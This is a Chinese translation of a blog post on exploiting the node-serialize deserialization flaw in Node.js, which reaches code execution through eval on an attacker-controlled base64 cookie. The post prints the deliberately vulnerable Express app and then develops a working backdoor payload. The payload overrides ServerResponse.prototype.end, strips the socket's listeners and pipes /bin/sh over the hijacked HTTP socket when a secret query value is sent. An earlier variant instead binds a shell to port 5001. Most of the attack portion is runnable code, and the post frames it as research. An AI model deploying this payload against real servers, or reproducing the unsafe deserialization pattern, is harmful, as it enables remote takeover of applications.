原文链接:http://blog.websecurify.com/2017/02/hacking-node-serialize.html
原作者:Petko D. Petkov
译:Holic (知道创宇404安全实验室)
前言:本文阐述了一种利用 Node.JS 代码执行漏洞的方法。在 JavaScript 中,所有的对象都是基于 Object,所有的对象都继承了Object.prototype的属性和方法,它们可以被覆盖。通过覆盖 ServerResponse.prototype.end 方法,就可以操纵 express 在返回响应时执行的操纵而无须另开端口的bind shell 或 反弹 shell,类似 node 的 webshell。
另一方面就是宣传作者的 rest 工具了 _(:з」∠)_。
正文:
几天前,我注意到了 opsecx 的一篇博文,这篇文章讲了如果利用 nodejs 模块 node-serialize 的 RCE(远程命令执行)漏洞,然而有一点我很在意,就是利用 Burp 的过程过于繁琐 - 这工具很强的 - 不过我认为可以做的更优雅。
在本文中,我想表达一下个人对这个独特的 RCE 的看法,也许将来会有所帮助 - 大概对你的个人研究会有些用。
在开始之前,先评估一下攻击面是很有用的。本 node-serialize 模块同样适用。撰写本文时,该模块每月约有 2000 次下载,其中有 9 个包不需要其它的子依赖。
下面是所依赖模块的列表:cdlib, cdlibjs, intelligence, malice, mizukiri, modelproxy-engine-mockjs, node-help, sa-sdk-node, scriby, sdk-sa-node, shelldoc, shoots。不分析代码是无法断定这些应用是否也存在漏洞,但本着挖掘漏洞的原则,我假设他们是有漏洞的。
尽管如此,更重要的是,我们还没回答“该模块扩散得有多广泛”的问题。每月 2000 次的下载量或许可以说明很多事情,不过很难估计这个数字后面的应用程序数量。去 github 和 google 大致浏览一下即可确定答案所在,这也正是有趣之处。
GitHub 搜索显示存在 97 个潜在的可能有漏洞的模块/应用,这些模块可能是个人使用,并未在 npmjs.com 上注册。通过浏览代码的方法可以快速确定了该问题存在的广泛与否。我还神奇地发现它竟然与口袋妖怪(Pokémon)有关。快去一探究竟!
我将有关情况报告给 https://nodesecurity.io/ 以提供支持,这是报告此安全问题目前唯一的途径,尤其是关于 NodeJS 模块系统的相关问题。它是个免费的开源项目。
目前为止,我们正研究一个有利用潜力的漏洞,从公共安全的视角来看挺不错。那么我们进入更学术的一面,进而利用之。为了测试该 bug ,我们需要一个存在漏洞的应用程序。opsecx 提供了一个示例,我们将在本次练习中使用它。代码颇为简单。
var express = require('express'); var cookieParser = require('cookie-parser'); var escape = require('escape-html'); var serialize = require('node-serialize'); var app = express(); app.use(cookieParser()) app.get('/', function(req, res) { if (req.cookies.profile) { var str = new Buffer(req.cookies.profile, 'base64').toString(); var obj = serialize.unserialize(str); if (obj.username) { res.send("Hello " + escape(obj.username)); } } else { res.cookie('profile', "eyJ1c2VybmFtZSI6ImFqaW4iLCJjb3VudHJ5IjoiaW5kaWEiLCJjaXR5IjoiYmFuZ2Fsb3JlIn0=", { maxAge: 900000, httpOnly: true }); res.send("Hello stranger"); } }); app.listen(3000);
你需要以下 package.json 安装对应模块(npm install)。
{ "dependencies": { "cookie-parser": "^1.4.3", "escape-html": "^1.0.3", "express": "^4.14.1", "node-serialize": "0.0.4" } }
那么我们进入关键部分吧。从代码中可以看到,本例 Web 应用正在使用用户配置(profile)设置 cookie,该配置使用了存在漏洞的模块进行序列化对象。然后进行 base64 编码。要想知道 base64 字符串解包后是什么样的,可以试试 ENcoder。
现在我们有了一个有效请求,然后改造请求利用漏洞。首先,弄清 node-serialize 中的漏洞原理。看一眼源代码便一目了然,模块的相关函数如下所示:
} else if(typeof obj[key] === 'function') { var funcStr = obj[key].toString(); if(ISNATIVEFUNC.test(funcStr)) { if(ignoreNativeFunc) { funcStr = 'function() {throw new Error("Call a native function unserialized")}'; } else { throw new Error('Can\'t serialize a object with a native function property. Use serialize(obj, true) to ignore the error.'); } } outputObj[key] = FUNCFLAG + funcStr; } else {
一旦调用 unserialize 方法,问题就会暴露出来,具体行号点此。
if(obj[key].indexOf(FUNCFLAG) === 0) { obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); } else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
如果我们创建一个包含一 _$$ND_FUNC$$_
为开头的任意 JSON 对象,我们就可以远程执行代码,因为它使用了 eval 。我们可以使用以下设置来测试这一点。
如果成功执行,当然它理应成功,你会收到一个错误,因为服务器在请求完成之前退出了。现在我们有了代码执行,但我们可以做到更好。
我个人感觉 opsecx 博客中提到的那点利用方式略显粗犷了。出于演示目的,它当然已经完全够用了,考虑到我们在 node 进程内已经实现了 eval 操作,我们完全可以搞更多事情,来获得更优雅的 hack,而不需要 Python 阶段的攻击。那么我就要写一下代码了,可能会修改有效的 exploit,使其更易用一些。那么我们可以使用变量选项,将代码设置为一个叫 code 的变量。
它存储我们的代码,我们不必担心编码问题。仅需修改 cookie 中的 profile ,以便将变量嵌入 JSON ,然后 node-serialize 执行特定的函数。
很漂亮!现在我们每次更改code 变量时,profile cookie payload 将通过编码链和 node-serialize 神奇的完美运行。
现在要对我们的代码 payload 进行处理。假设我们不知道程序是如何运行的,我们需要一个通用的利用方法,或者多用任何其他应用,没有安装环境和其它预习过的知识。这要求我们不能依赖可能存在的全局范围变量。我们也不能依赖 express 应用已经导出的变量,那么可以访问其他要安装的路由来进行访问。我不想生成新的端口或反向 shell,而要保持 profile 为最小的状态。
这是个很大的需求,但进行一些研究后,很容易找到一种可行的方法。
我们从 http 模块引用 ServerResponse 函数开始。ServerResponse 的属性用于 expressjs 中 response 对象的 __proto__
。
/** * Response prototype. */ var res = module.exports = { __proto__: http.ServerResponse.prototype };
这意味着如果我们更改 ServerResponse 的 原型(prototype),对应的 __proto__
属性。来自响应的 send 方法会调用 ServerResponse 的 prototype。
if (req.method === 'HEAD') { // skip body for HEAD this.end(); } else { // respond this.end(chunk, encoding); }
一旦 send 方法被调用, end 方法将被调用,而它恰好是来自 ServerResponse 的 prototype。由于 send 方法大量用于 expressjs 相关的东西,这就意味着我们可以更直接地访问更有趣的结构,比如打开当前的 socket。如果我们覆写 prototype 的 end 方法,我们便可以通过 this
引用获取对 socket 对象的引用。
实现这种效果的代码如下:
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket gives us the current open socket } })(require('http').ServerResponse.prototype.end)
由于我们覆盖了 end 的原型(prototype),我们还需要某种方式区分我们的启动请求和其他正常请求,以免产生意外。我们可以通过查询参数包含的特殊字符串(abc123),以区分是否是来自自己的恶意请求。可以从 socket 的 httpMessage 对象获取此信息。如下所示:
require('http').ServerResponse.prototype.end = (function (end) { return function () { // TODO: this.socket._httpMessage.req.query give us reference to the query } })(require('http').ServerResponse.prototype.end)
一切就绪。剩下的就是启动 shell 了,这在 node 中相当简单。
var cp = require('child_process') var net = require('net') net.createServer((socket) => { var sh = cp.spawn('/bin/sh') sh.stdout.pipe(socket) sh.stderr.pipe(socket) socket.pipe(sh.stdin) }).listen(5001)
合并上述两个段,最终代码如下。注意我们这里通过已经建立的 socket 来重定向 end 函数,其中 node 产生了一个 shell。这很纯粹。
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
现在 nc localhost 3000,然后输入以下请求内容:
$ nc localhost 3000 GET /?q=abc123 HTTP/1.1 ls -la
什么?你啥也没得到?这只是个小把戏,我分开讲了。你看,我们正在劫持一个现有的 socket,因此我们不是它的唯一接管人。还有其他的东西可能会影响 socket,所以对于其他情况应小心考虑。还好很容易实现这一点,最终的代码如下:
require('http').ServerResponse.prototype.end = (function (end) { return function () { if (this.socket._httpMessage.req.query.q === 'abc123') { ['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket)) var cp = require('child_process') var net = require('net') var sh = cp.spawn('/bin/sh') sh.stdout.pipe(this.socket) sh.stderr.pipe(this.socket) this.socket.pipe(sh.stdin) } else { end.apply(this, arguments) } } })(require('http').ServerResponse.prototype.end)
最后,可以根据自己的喜好自由发挥了。可以通过相同的服务器进程,建立 socket 打开具有特殊字符串的请求来获取远程 shell。
我们从一个简单的 RCE 开始,最终生成了一个通用的 HTTP 通道的 shell,可以应对多种情况。整个过程利用 Rest 工具变得非常简单。顺便推荐前几篇文章:1,2,3